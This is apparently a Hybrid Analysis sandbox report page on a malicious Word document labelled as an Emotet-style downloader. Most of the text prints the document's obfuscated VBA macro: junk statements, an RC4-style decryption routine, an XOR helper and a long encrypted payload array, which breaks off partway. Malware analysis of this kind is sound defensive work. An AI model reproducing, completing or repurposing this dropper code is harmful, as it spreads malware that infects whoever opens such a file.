23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T506,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2 Sample 95810b7ed825… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 95810b7ed825…. Malware family: VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2. Threat score 100/100. 8/28 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9","keywords":["Malicious","VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2","malware analysis","sandbox report","threat intelligence","95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9"],"about":{"@type":"SoftwareApplication","name":"dridex_trigger.bin","applicationCategory":["docx","office"],"identifier":"95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VB.Heur2.EmoDldr.5.43F2AF24.Gen;Trojan.Jacky.2","antivirusDetections":{"malicious":8,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T10f1d,File "ThisDocument.cls" (Streampath: "VBA/ThisDocument") has code: "Dim VoZoOxr6Mn(2034) As Long Sub ThhoJh8NX() DVZm8YVrQMiwo = RGB(57, 72, 52) Join KwTfhyp, 32 BPo78vzethyYE = Cos(10) Randomize FreeFile 8 KkqgXNfZvN = Dir("CnK5tkVQz") Choose 81, D9v2bgkWjrqDrfD0 Hour 34 PY6iz1rCR8Jg2zp6 = Day(76) Err.Raise 1 DateDiff "Y3vZImMnKEZ4gQgx", 29, 92 Plt47Zn = RGB(24, 23, 54) End Sub Function Rw313Mj2SQbo(PK2AOtxa0 As Long) As Byte() FWHw6N0F6AqC8o = RGB(91, 12, 23) Dim SglUay8SE(3) As Byte, FF9yJe As Long, U8JQKJ2k3CT1u As Byte RXSYGXBl = RGB(40, 27, 41) For FF9yJe = 0 To 3 SglUay8SE(FF9yJe) = (Int(PK2AOtxa0 / (2 ^ (8 * (3 - FF9yJe))))) And ((2 ^ 8) - 1) Next FF9yJe AD5mi5t2FJifZy4n = RGB(24, 58, 31) For FF9yJe = 0 To Mu4XjE(SglUay8SE) \ 2 U8JQKJ2k3CT1u = SglUay8SE(FF9yJe) SglUay8SE(FF9yJe) = SglUay8SE(Mu4XjE(SglUay8SE) - FF9yJe) SglUay8SE(Mu4XjE(SglUay8SE) - FF9yJe) = U8JQKJ2k3CT1u Next FF9yJe LiqaUS7 = RGB(96, 87, 88) ReDim Rw313Mj2SQbo(3) As Byte BF0rXlQvRHu = RGB(72, 50, 89) Rw313Mj2SQbo = SglUay8SE GTZbVyQ8lmykkBDw = RGB(14, 64, 86) End Function Function CoHYtm2NQ33lE(ByVal QzEDDpum2CX As String, ByVal CYWKCTqHlHn2jLc As String) As String On Error Resume Next Dim IrrzsI29YKx(0 To 255) As Integer, TwWgUmPvP As Long, CXEMO As Long, OdzidMc33t1 As Long, SoqAeE0LMU1Hp() As Byte, P1RLba42joGCBs0() As Byte, LJsWHuHU As Byte SoqAeE0LMU1Hp() = StrConv(CYWKCTqHlHn2jLc, (32 + 562 + 32 - 562 + 32 + 562 + 32 - 562)) For TwWgUmPvP = 0 To (64 + 395 + 64 - 395 + 64 + 395 + 64 - 395 - 1) IrrzsI29YKx(TwWgUmPvP) = TwWgUmPvP Next TwWgUmPvP TwWgUmPvP = 0 CXEMO = 0 OdzidMc33t1 = 0 For TwWgUmPvP = 0 To (64 + 690 + 64 - 690 + 64 + 690 + 64 - 690 - 1) CXEMO = (CXEMO + IrrzsI29YKx(TwWgUmPvP) + SoqAeE0LMU1Hp(TwWgUmPvP Mod Len(CYWKCTqHlHn2jLc))) Mod ((64 + 549 + 64 - 549 + 64 + 549 + 64 - 549)) LJsWHuHU = IrrzsI29YKx(TwWgUmPvP) IrrzsI29YKx(TwWgUmPvP) = IrrzsI29YKx(CXEMO) IrrzsI29YKx(CXEMO) = LJsWHuHU Next TwWgUmPvP TwWgUmPvP = 0 CXEMO = 0 OdzidMc33t1 = 0 P1RLba42joGCBs0() = StrConv(QzEDDpum2CX, (32 + 869 + 32 - 869 + 32 + 869 + 32 - 869)) For TwWgUmPvP = 0 To Len(QzEDDpum2CX) CXEMO = (CXEMO + 1) Mod 256 OdzidMc33t1 = (OdzidMc33t1 + IrrzsI29YKx(CXEMO)) Mod 256 LJsWHuHU = IrrzsI29YKx(CXEMO) IrrzsI29YKx(CXEMO) = IrrzsI29YKx(OdzidMc33t1) IrrzsI29YKx(OdzidMc33t1) = LJsWHuHU P1RLba42joGCBs0(TwWgUmPvP) = QrHrM7A0kt(P1RLba42joGCBs0(TwWgUmPvP), (IrrzsI29YKx((IrrzsI29YKx(CXEMO) + IrrzsI29YKx(OdzidMc33t1)) Mod ((64 + 19 + 64 - 19 + 64 + 19 + 64 - 19))))) Next TwWgUmPvP CoHYtm2NQ33lE = StrConv(P1RLba42joGCBs0, (16 + 630 + 16 - 630 + 16 + 630 + 16 - 630)) End Function Function QrHrM7A0kt(TwcwVx9Vbv, UJ4Z5ksn8x) U6TLY = RGB(90, 72, 54) QrHrM7A0kt = (TwcwVx9Vbv And Not UJ4Z5ksn8x) Or (Not TwcwVx9Vbv And UJ4Z5ksn8x) Aya0uoUEq = RGB(6, 14, 64) End Function Sub AyF14WGtqAb() VoZoOxr6Mn(0) = 432433934 VoZoOxr6Mn(1) = 350786839 VoZoOxr6Mn(2) = -931457408 VoZoOxr6Mn(3) = 1263351013 VoZoOxr6Mn(4) = -934508713 VoZoOxr6Mn(5) = -1080386174 VoZoOxr6Mn(6) = -1982250533 VoZoOxr6Mn(7) = 643917765 VoZoOxr6Mn(8) = 115989928 VoZoOxr6Mn(9) = 1951003591 VoZoOxr6Mn(10) = -453479479 VoZoOxr6Mn(11) = -55939809 VoZoOxr6Mn(12) = 1482694016 VoZoOxr6Mn(13) = -1888145335 VoZoOxr6Mn(14) = -1261783329 VoZoOxr6Mn(15) = 789047379 VoZoOxr6Mn(16) = -1348254123 VoZoOxr6Mn(17) = -615893314 VoZoOxr6Mn(18) = 137555638 VoZoOxr6Mn(19) = 1587484000 VoZoOxr6Mn(20) = 6059560 VoZoOxr6Mn(21) = 499683070 VoZoOxr6Mn(22) = -989173618 VoZoOxr6Mn(23) = 1757450154 VoZoOxr6Mn(24) = 2111770376 VoZoOxr6Mn(25) = -1274776096 VoZoOxr6Mn(26) = 1628679944 VoZoOxr6Mn(27) = 553019652 VoZoOxr6Mn(28) = 2143316061 VoZoOxr6Mn(29) = -727163280 VoZoOxr6Mn(30) = -76238154 VoZoOxr6Mn(31) = 412306952 VoZoOxr6Mn(32) = -174784406 VoZoOxr6Mn(33) = 1813164438 VoZoOxr6Mn(34) = 362954626 VoZoOxr6Mn(35) = 726597918 VoZoOxr6Mn(36) = 1742701344 VoZoOxr6Mn(37) = -1408102594 VoZoOxr6Mn(38) = 1167036726 VoZoOxr6Mn(39) = 1225777762 VoZoOxr6Mn(40) = 995023167 VoZoOxr6Mn(41) = -1708207716 VoZoOxr6Mn(42) = 2047597559 VoZoOxr6Mn(43) = -1033306969 VoZoOxr6Mn(44) = -2902841 VoZoOxr6Mn(45) = -1237569790 VoZoOxr6Mn(46) = -1315542130 VoZoOxr6Mn(47) = -1281078272 VoZoOxr6Mn(48) = 1965157142 VoZoOxr6Mn(49) = 512040766 VoZoOxr6Mn(50) = 1231947372 VoZoOxr6Mn(51) = -1240474055 VoZoOxr6Mn(52) = -72345961 VoZoOxr6Mn(53) = 673539068 VoZoOxr6Mn(54) = -314333633 VoZoOxr6Mn(55) = -1633064914 VoZoOxr6Mn(56) = 340340986 VoZoOxr6Mn(57) = 1244443829 VoZoOxr6Mn(58) = -1002884187 VoZoOxr6Mn(59) = -1814900333 VoZoOxr6Mn(60) = 689825676 VoZoOxr6Mn(61) = -1366178051 VoZoOxr6Mn(62) = 174732504 VoZoOxr6Mn(63) = 1774536065 VoZoOxr6Mn(64) = 523992231 VoZoOxr6Mn(65) = -1505732238 VoZoOxr6Mn(66) = 626455424 VoZoOxr6Mn(67) = -1521580314 VoZoOxr6Mn(68) = 1941466591 VoZoOxr6Mn(69) = -1673375754 VoZoOxr6Mn(70) = 73543434 VoZoOxr6Mn(71) = 1211138359 VoZoOxr6Mn(72) = 846243903 VoZoOxr6Mn(73) = -735775324 VoZoOxr6Mn(74) = 806740519 VoZoOxr6Mn(75) = 1847870348 VoZoOxr6Mn(76) = 1145151380 VoZoOxr6Mn(77) = 1126917986 VoZoOxr6Mn(78) = -288828703 VoZoOxr6Mn(79) = 874143089 VoZoOxr6Mn(80) = 2107924768 VoZoOxr6Mn(81) = -1812983760 VoZoOxr6Mn(82) = -245395812 VoZoOxr6Mn(83) = 1062041801 VoZoOxr6Mn(84) = 445402183 VoZoOxr6Mn(85) = -941189528 VoZoOxr6Mn(86) = 669060727 VoZoOxr6Mn(87) = 649483425 VoZoOxr6Mn(88) = -759188508 VoZoOxr6Mn(89) = 1301325727 VoZoOxr6Mn(90) = 813521585 VoZoOxr6Mn(91) = -732182600 VoZoOxr6Mn(92) = 1632163642 VoZoOxr6Mn(93) = 424599586 VoZoOxr6Mn(94) = -1396479950 VoZoOxr6Mn(95) = -1876902549 VoZoOxr6Mn(96) = -1186581720 VoZoOxr6Mn(97) = -233226484 VoZoOxr6Mn(98) = 699327745 VoZoOxr6Mn(99) = 315563496 VoZoOxr6Mn(100) = 211174040 VoZoOxr6Mn(101) = -1217862973 VoZoOxr6Mn(102) = 2102730871 VoZoOxr6Mn(103) = -1443119896 VoZoOxr6Mn(104) = -2134792122 VoZoOxr6Mn(105) = -432888004 VoZoOxr6Mn(106) = -571362153 VoZoOxr6Mn(107) = 1352842904 VoZoOxr6Mn(108) = 1392504759 VoZoOxr6Mn(109) = 258202935 VoZoOxr6Mn(110) = -1435236840 VoZoOxr6Mn(111) = -2127671831 VoZoOxr6Mn(112) = 1372057760 VoZoOxr6Mn(113) = 221088204 VoZoOxr6Mn(114) = 578824582 VoZoOxr6Mn(115) = 453464226 VoZoOxr6Mn(116) = -1085726938 VoZoOxr6Mn(117) = 1374749401 VoZoOxr6Mn(118) = 1636968449 VoZoOxr6Mn(119) = 1761673509 VoZoOxr6Mn(120) = 1716404815 VoZoOxr6Mn(121) = 2107637641 VoZoOxr6Mn(122) = 543857845 VoZoOxr6Mn(123) = -1685082018 VoZoOxr6Mn(124) = 1515692915 VoZoOxr6Mn(125) = -303695200 VoZoOxr6Mn(126) = 1986066731 VoZoOxr6Mn(127) = -591690454 VoZoOxr6Mn(128) = 2050428330 VoZoOxr6Mn(129) = -1678742160 VoZoOxr6Mn(130) = 343326617 VoZoOxr6Mn(131) = 1948569924 VoZoOxr6Mn(132) = 1428628837 VoZoOxr6Mn(133) = -1186054020 VoZoOxr6Mn(134) = 1757251808 VoZoOxr6Mn(135) = 375274803 VoZoOxr6Mn(136) = -1307382942 VoZoOxr6Mn(137) = -696491092 VoZoOxr6Mn(138) = 1370833862 VoZoOxr6Mn(139) = 202546538 VoZoOxr6Mn(140) = 967609755 VoZoOxr6Mn(141) = 390410915 VoZoOxr6Mn(142) = -1364358710 VoZoOxr6Mn(143) = -1828780082 VoZoOxr6Mn(144) = -1979660350 VoZoOxr6Mn(145) = 1125158763 VoZoOxr6Mn(146) = -1458421506 VoZoOxr6Mn(147) = -609342036 VoZoOxr6Mn(148) = 878901131 VoZoOxr6Mn(149) = 1414868032 VoZoOxr6Mn(150) = -1540380579 VoZoOxr6Mn(151) = 774086137 VoZoOxr6Mn(152) = -251945379 VoZoOxr6Mn(153) = 1963383617 VoZoOxr6Mn(154) = 1589532345 VoZoOxr6Mn(155) = -166725495 VoZoOxr6Mn(156) = -899058532 VoZoOxr6Mn(157) = 1891534323 VoZoOxr6Mn(158) = -443401988 VoZoOxr6Mn(159) = -1911156203 VoZoOxr6Mn(160) = -535146851 VoZoOxr6Mn(161) = 799635210 VoZoOxr6Mn(162) = 2115092840 VoZoOxr6Mn(163) = 1054685566 VoZoOxr6Mn(164) = 1062015313 VoZoOxr6Mn(165) = -662678503 VoZoOxr6Mn(166) = 2041919003 VoZoOxr6Mn(167) = 1092133233 VoZoOxr6Mn(168) = -1714722392 VoZoOxr6Mn(169) = 279832377 VoZoOxr6Mn(170) = 1432395747 VoZoOxr6Mn(171) = -1894178520 VoZoOxr6Mn(172) = 122073572 VoZoOxr6Mn(173) = 242898334 VoZoOxr6Mn(174) = 553410947 VoZoOxr6Mn(175) = -1394147392 VoZoOxr6Mn(176) = 2128941006 VoZoOxr6Mn(177) = 620990552 VoZoOxr6Mn(178) = -764292741 VoZoOxr6Mn(179) = 2068571212 VoZoOxr6Mn(180) = -226284696 VoZoOxr6Mn(181) = 194765759 VoZoOxr6Mn(182) = -1119048685 VoZoOxr6Mn(183) = 1598203122 VoZoOxr6Mn(184) = 1227846933 VoZoOxr6Mn(185) = 204916630 VoZoOxr6Mn(186) = -360437193 VoZoOxr6Mn(187) = -2102195602 VoZoOxr6Mn(188) = 203180475 VoZoOxr6Mn(189) = -1626625854 VoZoOxr6Mn(190) = 1511812300 VoZoOxr6Mn(191) = -198958423 VoZoOxr6Mn(192) = 1967794385 VoZoOxr6Mn(193) = 76565607 VoZoOxr6Mn(194) = 1812233199 VoZoOxr6Mn(195) = -782814907 VoZoOxr6Mn(196) = -787805991 VoZoOxr6Mn(197) = -180925945 VoZoOxr6Mn(198) = -1472900747 VoZoOxr6Mn(199) = -1064904596 VoZoOxr6Mn(200) = -1507168790 VoZoOxr6Mn(201) = -1625019552 VoZoOxr6Mn(202) = -496341064 VoZoOxr6Mn(203) = -422432925 VoZoOxr6Mn(204) = -9924891 VoZoOxr6Mn(205) = -1188344670 VoZoOxr6Mn(206) = -1486179733 VoZoOxr6Mn(207) = -964588120 VoZoOxr6Mn(208) = 2014051516 VoZoOxr6Mn(209) = -1145490514 VoZoOxr6Mn(210) = 1707551267 VoZoOxr6Mn(211) = 1882254817 VoZoOxr6Mn(212) = 1265994162 VoZoOxr6Mn(213) = -232880683 VoZoOxr6Mn(214) = -855067894 VoZoOxr6Mn(215) = 1049429868 VoZoOxr6Mn(216) = -1725325011 VoZoOxr6Mn(217) = -1617318429 VoZoOxr6Mn(218) = 2091618743 VoZoOxr6Mn(219) = 1346386977 VoZoOxr6Mn(220) = -820076495 VoZoOxr6Mn(221) = -1134081690 VoZoOxr6Mn(222) = -1279755154 VoZoOxr6Mn(223) = 261459674 VoZoOxr6Mn(224) = -878440320 VoZoOxr6Mn(225) = 2023746628 VoZoOxr6Mn(226) = -2060239241 VoZoOxr6Mn(227) = 2075625963 VoZoOxr6Mn(228) = 491177404 VoZoOxr6Mn(229) = 415397730 VoZoOxr6Mn(230) = -858237221 VoZoOxr6Mn(231) = -402480317 VoZoOxr6Mn(232) = 767188831 VoZoOxr6Mn(233) = -659140487 VoZoOxr6Mn(234) = -70784042 VoZoOxr6Mn(235) = -1002093837 VoZoOxr6Mn(236) = -1199578938 VoZoOxr6Mn(237) = 1265266076 VoZoOxr6Mn(238) = -417977604 VoZoOxr6Mn(239) = 1363845731 VoZoOxr6Mn(240) = 2035552525 VoZoOxr6Mn(241) = 774509703 VoZoOxr6Mn(242) = -202571110 VoZoOxr6Mn(243) = -909433258 VoZoOxr6Mn(244) = 2006087891 VoZoOxr6Mn(245) = -922344591 VoZoOxr6Mn(246) = 1256971653 VoZoOxr6Mn(247) = 461106372 VoZoOxr6Mn(248) = -687985245 VoZoOxr6Mn(249) = -1918238907 VoZoOxr6Mn(250) = -2114913845 VoZoOxr6Mn(251) = -2146307507 VoZoOxr6Mn(252) = -1509639829 VoZoOxr6Mn(253) = -550948654 VoZoOxr6Mn(254) = 1322916043 VoZoOxr6Mn(255) = -39387718 VoZoOxr6Mn(256) = 450750122 VoZoOxr6Mn(257) = 1783707869 VoZoOxr6Mn(258) = -1243078424 VoZoOxr6Mn(259) = -1111141076 VoZoOxr6Mn(260) = -1983865615 VoZoOxr6Mn(261) = 439307194 VoZoOxr6Mn(262) = 1821334290 VoZoOxr6Mn(263) = -1195745333 VoZoOxr6Mn(264) = 196338813 VoZoOxr6Mn(265) = 561672807 VoZoOxr6Mn(266) = -376839191 VoZoOxr6Mn(267) = 108469941 VoZoOxr6Mn(268) = 1340846435 VoZoOxr6Mn(269) = 1034477785 VoZoOxr6Mn(270) = 810896379 VoZoOxr6Mn(271) = -76206063 VoZoOxr6Mn(272) = 1724652786 VoZoOxr6Mn(273) = 1511094597 VoZoOxr6Mn(274) = 31685036 VoZoOxr6Mn(275) = 1417492063 VoZoOxr6Mn(276) = -940894969 VoZoOxr6Mn(277) = -1384226627 VoZoOxr6Mn(278) = 446496832 VoZoOxr6Mn(279) = -1785949379 VoZoOxr6Mn(280) = -1968325454 VoZoOxr6Mn(281) = -1283411104 VoZoOxr6Mn(282) = 1597741019 VoZoOxr6Mn(283) = -108959994 VoZoOxr6Mn(284) = 832171296 VoZoOxr6Mn(285) = 1013250301 VoZoOxr6Mn(286) = -1479718970 VoZoOxr6Mn(287) = 382830772 VoZoOxr6Mn(288) = 1889078225 VoZoOxr6Mn(289) = 498987296 VoZoOxr6Mn(290) = -2052462314 VoZoOxr6Mn(291) = 704197039 VoZoOxr6Mn(292) = 1918379163 VoZoOxr6Mn(293) = 2088783795 VoZoOxr6Mn(294) = 1112405154 VoZoOxr6Mn(295) = -522124857 VoZoOxr6Mn(296) = -2015790936 VoZoOxr6Mn(297) = -1348422558 VoZoOxr6Mn(298) = 1060920034 VoZoOxr6Mn(299) = -186729063 VoZoOxr6Mn(300) = 1830024342 VoZoOxr6Mn(301) = -1954775865 VoZoOxr6Mn(302) = 1697947308 VoZoOxr6Mn(303) = -1795072320 VoZoOxr6Mn(304) = 1550721182 VoZoOxr6Mn(305) = 1260790455 VoZoOxr6Mn(306) = 1605176444 VoZoOxr6Mn(307) = -1224637582 VoZoOxr6Mn(308) = -1996743965 VoZoOxr6Mn(309) = 1732125575 VoZoOxr6Mn(310) = 1851679341 VoZoOxr6Mn(311) = 55009155 VoZoOxr6Mn(312) = -272935519 VoZoOxr6Mn(313) = 110390240 VoZoOxr6Mn(314) = 1755120706 VoZoOxr6Mn(315) = -632759921 VoZoOxr6Mn(316) = -1219694177 VoZoOxr6Mn(317) = -1556519337 VoZoOxr6Mn(318) = 1629737573 VoZoOxr6Mn(319) = -677563092 VoZoOxr6Mn(320) = 50799293 VoZoOxr6Mn(321) = 1362799559 VoZoOxr6Mn(322) = -1814473083 VoZoOxr6Mn(323) = -1099278058 VoZoOxr6Mn(324) = 1158894707 VoZoOxr6Mn(325) = 387143717 VoZoOxr6Mn(326) = 1699855369 VoZoOxr6Mn(327) = 1152873011 VoZoOxr6Mn(328) = 757115384 VoZoOxr6Mn(329) = 198282509 VoZoOxr6Mn(330) = 2004798272 VoZoOxr6Mn(331) = -761103664 VoZoOxr6Mn(332) = 2093148713 VoZoOxr6Mn(333) = 1572005765 VoZoOxr6Mn(334) = -1412600387 VoZoOxr6Mn(335) = -1349165291 VoZoOxr6Mn(336) = -817075461 VoZoOxr6Mn(337) = 1663610568 VoZoOxr6Mn(338) = -71700840 VoZoOxr6Mn(339) = -1954579701 VoZoOxr6Mn(340) = -442269062 VoZoOxr6Mn(341) = -1182327564 VoZoOxr6Mn(342) = 423648952 VoZoOxr6Mn(343) = -617158508 VoZoOxr6Mn(344) = 1055119610 VoZoOxr6Mn(345) = -964251255 VoZoOxr6Mn(346) = -4626625 VoZoOxr6Mn(347) = -1256505342 VoZoOxr6Mn(348) = -708225731 VoZoOxr6Mn(349) = -55232252 VoZoOxr6Mn(350) = -1745763410 VoZoOxr6Mn(351) = 1741400676 VoZoOxr6Mn(352) = -1906910305 VoZoOxr6Mn(353) = 421413593 VoZoOxr6Mn(354) = -1312847938 VoZoOxr6Mn(355) = 525278758 VoZoOxr6Mn(356) = -166999957 VoZoOxr6Mn(357) = -797572564 VoZoOxr6Mn(358) = -1054133680 VoZoOxr6Mn(359) = -926452477 VoZoOxr6Mn(360) = 703850267 VoZoOxr6Mn(361) = -865339270 VoZoOxr6Mn(362) = 246962755 VoZoOxr6Mn(363) = 922852531 VoZoOxr6Mn(364) = -998719984 VoZoOxr6Mn(365) = 486707423 VoZoOxr6Mn(366) = -961615083 VoZoOxr6Mn(367) = -973219791 VoZoOxr6Mn(368) = -1350109305 VoZoOxr6Mn(369) = 1499339571 VoZoOxr6Mn(370) = -692957371 VoZoOxr6Mn(371) = 1677087139 VoZoOxr6Mn(372) = 1111756733 VoZoOxr6Mn(373) = -1556702661 VoZoOxr6Mn(374) = 67216541 VoZoOxr6Mn(375) = -1227236482 VoZoOxr6Mn(376) = -1408824272 VoZoOxr6Mn(377) = -215375350 VoZoOxr6Mn(378) = 1854670506 VoZoOxr6Mn(379) = 1997151184 VoZoOxr6Mn(380) = 1784966932 VoZoOxr6Mn(381) = -374353770 VoZoOxr6Mn(382) = -1888250860 VoZoOxr6Mn(383) = -1275076018 VoZoOxr6Mn(384) = -1168918958 VoZoOxr6Mn(385) = -963294640 VoZoOxr6Mn(386) = -1404876186 VoZoOxr6Mn(387) = 639217254 VoZoOxr6Mn(388) = -166258951 VoZoOxr6Mn(389) = 502682519 VoZoOxr6Mn(390) = 1666602129 VoZoOxr6Mn(391) = 1210637695 VoZoOxr6Mn(392) = 135576482 VoZoOxr6Mn(393) = -1264780421 VoZoOxr6Mn(394) = 1449979503 VoZoOxr6Mn(395) = -771659801 VoZoOxr6Mn(396) = -846427866 VoZoOxr6Mn(397) = -1388854744 VoZoOxr6Mn(398) = 37954543 VoZoOxr6Mn(399) = 1551616896 VoZoOxr6Mn(400) = -415926541 VoZoOxr6Mn(401) = 128322820 VoZoOxr6Mn(402) = 1892117748 VoZoOxr6Mn(403) = -77737060 VoZoOxr6Mn(404) = 1679791840 VoZoOxr6Mn(405) = 413186038 VoZoOxr6Mn(406) = -2067718513 VoZoOxr6Mn(407) = 1599876070 VoZoOxr6Mn(408) = -1300364019 VoZoOxr6Mn(409) = 1635203187 VoZoOxr6Mn(410) = -1068346540 VoZoOxr6Mn(411) = -1899078753 VoZoOxr6Mn(412) = -2141715634 VoZoOxr6Mn(413) = 2050585307 VoZoOxr6Mn(414) = 706564903 VoZoOxr6Mn(415) = -1819804367 VoZoOxr6Mn(416) = 260091296 VoZoOxr6Mn(417) = 479051050 VoZoOxr6Mn(418) = 1398272482 VoZoOxr6Mn(419) = -1309030010 VoZoOxr6Mn(420) = 1347379686 VoZoOxr6Mn(421) = 1483992905 VoZoOxr6Mn(422) = 560025837 VoZoOxr6Mn(423) = 278274153 VoZoOxr6Mn(424) = 1635516026 VoZoOxr6Mn(425) = -691262436 VoZoOxr6Mn(426) = -742504495 VoZoOxr6Mn(427) = 2147153175 VoZoOxr6Mn(428) = -1875232273 VoZoOxr6Mn(429) = 74786484 VoZoOxr6Mn(430) = -1497846122 VoZoOxr6Mn(431) = 2087429974 VoZoOxr6Mn(432) = -778609455 VoZoOxr6Mn(433) = -1848113630 VoZoOxr6Mn(434) = 1667771346 VoZoOxr6Mn(435) = -1073109810 VoZoOxr6Mn(436) = 2028170008 VoZoOxr6Mn(437) = -961608605 VoZoOxr6Mn(438) = -825152825 VoZoOxr6Mn(439) = -1852665107 VoZoOxr6Mn(440) = 799733017 VoZoOxr6Mn(441) = -419820687 VoZoOxr6Mn(442) = 1930923617 VoZoOxr6Mn(443) = -163006855 VoZoOxr6Mn(444) = -1190043736 VoZoOxr6Mn(445) = 2086578743 VoZoOxr6Mn(446) = -1147235929 VoZoOxr6Mn(447) = 535606627 VoZoOxr6Mn(448) = 297290679 VoZoOxr6Mn(449) = 2119278113 VoZoOxr6Mn(450) = -2136239316 VoZoOxr6Mn(451) = -578585197 VoZoOxr6Mn(452) = 759585624 VoZoOxr6Mn(453) = 1514721073 VoZoOxr6Mn(454) = -898866385 VoZoOxr6Mn(455) = 1637817721 VoZoOxr6Mn(456) = -1580388624 VoZoOxr6Mn(457) = 1508645106 VoZoOxr6Mn(458) = -2041968270 VoZoOxr6Mn(459) = -479500134 VoZoOxr6Mn(460) = -1236925020 VoZoOxr6Mn(461) = 1298936565 VoZoOxr6Mn(462) = -502850506 VoZoOxr6Mn(463) = -401360840 VoZoOxr6Mn(464) = 1215520689 VoZoOxr6Mn(465) = -1652996438 VoZoOxr6Mn(466) = 1376162744 VoZoOxr6Mn(467) = -884415640 VoZoOxr6Mn(468) = 317165996 VoZoOxr6Mn(469) = -2017202275 VoZoOxr6Mn(470) = 1364408706 VoZoOxr6Mn(471) = 1379254262 VoZoOxr6Mn(472) = 1281680098 VoZoOxr6Mn(473) = -763695306 VoZoOxr6Mn(474) = -677250462 VoZoOxr6Mn(475) = 1574007945 VoZoOxr6Mn(476) = 792440953 VoZoOxr6Mn(477) = 715653153 VoZoOxr6Mn(478) = 252269747 VoZoOxr6Mn(479) = 649800291 VoZoOxr6Mn(480) = -1429352536 VoZoOxr6Mn(481) = -590639329 VoZoOxr6Mn(482) = -359443106 VoZoOxr6Mn(483) = 2035337861 VoZoOxr6Mn(484) = 863441813 VoZoOxr6Mn(485) = -112803163 VoZoOxr6Mn(486) = 1374137856 VoZoOxr6Mn(487) = -1553567151 VoZoOxr6Mn(488) = 1610040164 VoZoOxr6Mn(489) = -1298976913 VoZoOxr6Mn(490) = 1316204864 VoZoOxr6Mn(491) = 587485192 VoZoOxr6Mn(492) = 69926326 VoZoOxr6Mn(493) = -2125520879 VoZoOxr6Mn(494) = 1065170657 VoZoOxr6Mn(495) = -702230243 VoZoOxr6Mn(496) = -1688655428 VoZoOxr6Mn(497) = 828579079 VoZoOxr6Mn(498) = 26084225 VoZoOxr6Mn(499) = -1023059422 VoZoOxr6Mn(500) = -1314332963 VoZoOxr6Mn(501) = -1705317349 VoZoOxr6Mn(502) = 2090675060 VoZoOxr6Mn(503) = 950924997 VoZoOxr6Mn(504) = -171067414 VoZoOxr6Mn(505) = 299503183 VoZoOxr6Mn(506) = 1804362841 VoZoOxr6Mn(507) = 934333080 VoZoOxr6Mn(508) = 1331583592 VoZoOxr6Mn(509) = -353117300 VoZoOxr6Mn(510) = 1679121840 VoZoOxr6Mn(511) = -858070410 VoZoOxr6Mn(512) = -474678109 VoZoOxr6Mn(513) = -1200321735 VoZoOxr6Mn(514) = 737339588 VoZoOxr6Mn(515) = -1935218014 VoZoOxr6Mn(516) = -2104079829 VoZoOxr6Mn(517) = 612878029 VoZoOxr6Mn(518) = 127278681 VoZoOxr6Mn(519) = 811173438 VoZoOxr6Mn(520) = 257334752 VoZoOxr6Mn(521) = -1655372200 VoZoOxr6Mn(522) = 2110567148 VoZoOxr6Mn(523) = -83191369 VoZoOxr6Mn(524) = -1926646922 VoZoOxr6Mn(525) = -253035029 VoZoOxr6Mn(526) = -509243221 VoZoOxr6Mn(527) = 1942243305 VoZoOxr6Mn(528) = -540051771 VoZoOxr6Mn(529) = 2055769386 VoZoOxr6Mn(530) = 1352843076 VoZoOxr6Mn(531) = -1291924523 VoZoOxr6Mn(532) = -716549714 VoZoOxr6Mn(533) = 1603018592 VoZoOxr6Mn(534) = -407340522 VoZoOxr6Mn(535) = 997954596 VoZoOxr6Mn(536) = -1249668556 VoZoOxr6Mn(537) = 1446899923 VoZoOxr6Mn(538) = -1189010075 VoZoOxr6Mn(539) = -1577248199 VoZoOxr6Mn(540) = -1634456426 VoZoOxr6Mn(541) = -1511665592 VoZoOxr6Mn(542) = 263550557 VoZoOxr6Mn(543) = -228969105 VoZoOxr6Mn(544) = 624046069 VoZoOxr6Mn(545) = 1206948942 VoZoOxr6Mn(546) = 1397630915 VoZoOxr6Mn(547) = 861782746 VoZoOxr6Mn(548) = -1405257379 VoZoOxr6Mn(549) = -277966588 VoZoOxr6Mn(550) = 571894195 VoZoOxr6Mn(551) = 735531389 VoZoOxr6Mn(552) = 559367746 VoZoOxr6Mn(553) = -486053275 VoZoOxr6Mn(554) = -196639363 VoZoOxr6Mn(555) = 1628022120 VoZoOxr6Mn(556) = -431195715 VoZoOxr6Mn(557) = 31638391 VoZoOxr6Mn(558) = 1150967183 VoZoOxr6Mn(559) = -460824323 VoZoOxr6Mn(560) = -915500675 VoZoOxr6Mn(561) = -1037823747 VoZoOxr6Mn(562) = 1269100158 VoZoOxr6Mn(563) = -1364504981 VoZoOxr6Mn(564) = 880415535 VoZoOxr6Mn(565) = 849091199 VoZoOxr6Mn(566) = 996538242 VoZoOxr6Mn(567) = -1141440765 VoZoOxr6Mn(568) = -1367500735 VoZoOxr6Mn(569) = 1021777324 VoZoOxr6Mn(570) = -666991224 VoZoOxr6Mn(571) = 104893668 VoZoOxr6Mn(572) = 1024005861 VoZoOxr6Mn(573) = 876848177 